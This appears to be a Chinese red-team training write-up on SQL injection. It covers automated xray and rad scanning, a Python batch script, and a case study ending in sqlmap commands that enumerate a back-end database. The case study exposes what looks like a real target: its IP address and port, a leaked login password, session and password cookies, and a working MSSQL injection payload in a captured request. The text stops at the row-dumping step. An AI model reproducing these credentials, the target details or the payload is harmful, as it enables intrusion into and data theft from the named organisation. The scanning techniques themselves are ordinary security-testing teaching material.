本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

本文来源:大白哥红队攻防演练课程(Des师傅授课部分)

需要咨询课程详情,请扫下方二维码添加大白哥绿泡泡

一、SQL注入

  • 在第一轮打点中,使用nday对各大框架漏洞、OA漏洞等进行测试,发现没有利用点的时候,可以考虑使用Xray进行全局的SQL注入。

通过Xray进行批量自动化漏扫(单独跑SQL注入,提高效率)

  • 可以编辑Xray的配置文件,使得配置文件中只包含SQL注入(将其它功能点改为false,只留下sql注入的为true)

  • 这种方法可以提高找到sql注入的效率,因为第一轮中已经把所有URL进行JS识别、漏扫、指纹识别等都做了一遍了,这种情况下就可以针对性地对sql漏洞进行扫描

xray+rad联动(提高准确性)

  • 原理:rad是一款爬虫工具,xray在爬取网页方面不如rad全面,所以可以使用rad对URL进行深度爬取,然后代理给xray(将爬取的结果以http包的形式转发给xray),实现快速扫描实现更全面的扫描

  • 实现方式

  • xray开启被动扫描

xray.exe webscan --listen 127.0.0.1:7777 --html-output 1.html
  • 启动rad对目标URL进行爬取

//对目标进行爬取,代理到xray上
rad.exe -t http://example.com -http-proxy 127.0.0.1:7777 --no-banner
  • 使用python脚本进行批量化扫描

import threading
import time
import os

print("""选择要扫描的类型:
1 【rad+xray批量扫描】\033[31mxray: ./xray webscan --listen 127.0.0.1:7777 --html-output bug.html\033[0m
2 【xray被动扫描(配合awvs和bp)】
3 【rad单个爬取,导出为TXT文件】
""")
choice = input('请输入数字:')

localtime = time.localtime(time.time())

time_n = time.strftime("%Y%m%d%H%M%S", time.localtime())

if choice == '1':
    def rad(url):
        exp_rad=("rad.exe -t {} -http-proxy 127.0.0.1:7777 --no-banner").format(url)
        os.system(exp_rad)

    if __name__ == "__main__":
        urls = open('url.txt')
        for text in urls.readlines():
            data1 = text.strip('\n')
            rad(data1)
elif choice == '2':
    print("\n\033[1;32m[+]在挖了在挖了5555~\033[0m")
    exp = (("./xray webscan --listen 127.0.0.1:7777 --html-output {}.html").format(time_n))
    os.system(exp)

elif choice == '3':
    url = input("url:")
    print("\n\033[1;32m[+]在爬了在爬了5555~\033[0m")
    exp = (("./rad -t {} -text-output {}.txt").format(url,time_n))
    os.system(exp)

else:
    print('\n\033[1;31m[-] 不要做伞兵\033[0m')
  • tips:

  • 使用rad时可能会报毒

  • 解决方法:将rad配置文件(rad_config.yml)中,leakless的值改为false

注意

  • Xray有时候在检测时间盲注的时候可能会出错:

  • 由于Xray的发包量太高了,服务器忙不过来的情况下就有可能延时返回,甚至是不返回,这种情况下Xray就有可能会把这些包放掉,当作请求包无法连接到目标,导致攻击被过滤掉,没有形成漏洞报告

  • 也有可能payload设置sleep()的时间为1-3秒,而刚好服务器响应的时间就是1-3秒,就有可能导致误报

  • 针对时间盲注这一点,如果是Xray扫描出来的结果中存在时间盲注,可以访问对应的URL,使用Burp抓包,将Xray中显示的请求包复制到Repeater进行重放验证

二、SQLMAP案例

  • 通过findersomething插件,发现前端有密码泄露,从而进入后台

function checkLogin() {
  $.ajax({
    url: "ashx/DefaultHandler.ashx?action=checkLogin",
    //data: { username: "普通用户", password: "Bzt2023!", savedays: 7 },
    success: function (d) {
      if (d == 0) {
  • 进了后台以后,在搜索框查询数据、设置每一页能够显示的最大数据量(比如一页最多显示10行,可以改成20行)、添加用户、修改信息等等操作,都会触发数据库的增删改查,都会跟数据库进行交互,而在查询和修改这个两个操作中,很容易出现SQL注入。对于这些功能点如果只是手工测试(写单引号等)的话,效率不高,也有可能会错过很多有用的东西,所以还是可以使用Xray进行针对性的扫描。

  • 可以将Xray的并发量调低,使得结果更精准。请求数过大可能导致结果不稳定,特别是目标的带宽处理能力很低的话,发包速率越低,结果可能就会更精准。

  • 通过普通用户的账号密码,进了后台以后,发现一个查询的地方(query)存在sql注入,通过sqlmap跑库,最终拿到管理员的帐号密码

POST /PDCA/ashx/CommentStandardHandler.ashx?action=query&code=186185&n=0.39402260509034737 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 203
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ASP.NET_SessionId=iponmsonjait5cedpvxcten0; HXLING-BPM-COOKIE-NAME=HXLING-BPM-COOKIE-USERNAME=%e6%99%ae%e9%80%9a%e7%94%a8%e6%88%b7&expires=1&HXLING-BPMCOOKIE-PASSWORD=XlSMFeO%2boAychJmuRxMXPA%3d%3d
Origin: http://111.204.228.44:8099
Referer: http://111.204.228.44:8099/PDCA/ComStandardSearch.aspx?
navid=689&code=186185&treeChildrens=186185&usernames=%E5%8C%97%E4%BA%AC%E5%B8%82%E6%B0%B4%E5%88%A9%E8%A7%84%E5%88%92%E8%AE%BE%E8%AE%A1%E7%A0%94%E7%A9%B6%E9%99%A2
X-Forward-For: 127.0.0.1
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

IsQt=0&action=query&isbuy=0&isfile=0&isstruct=0&page=1&rows=20&searchValue=11&status=1%2C2%2C3%2C4&treeChildrens=convert%28int%2Csys.fn_sqlvarbasetostr%28HashBytes%28%27MD5%27%2C%271925535499%27%29%29%29
  • 查询数据库

--risk=3 --level=3 --threads 10 -dbs --batch --tamper "space2comment.py" -v 5
  • 查询表名

--risk=3 --level=3--threads 10--batch--tamper "space2comment.py" -D XXX --tables
  • 查询表中字段

--risk=3 --level=3--threads 10--batch--tamper "space2comment.py" -D XXX -T XXX --columns
  • 查询表中10行数据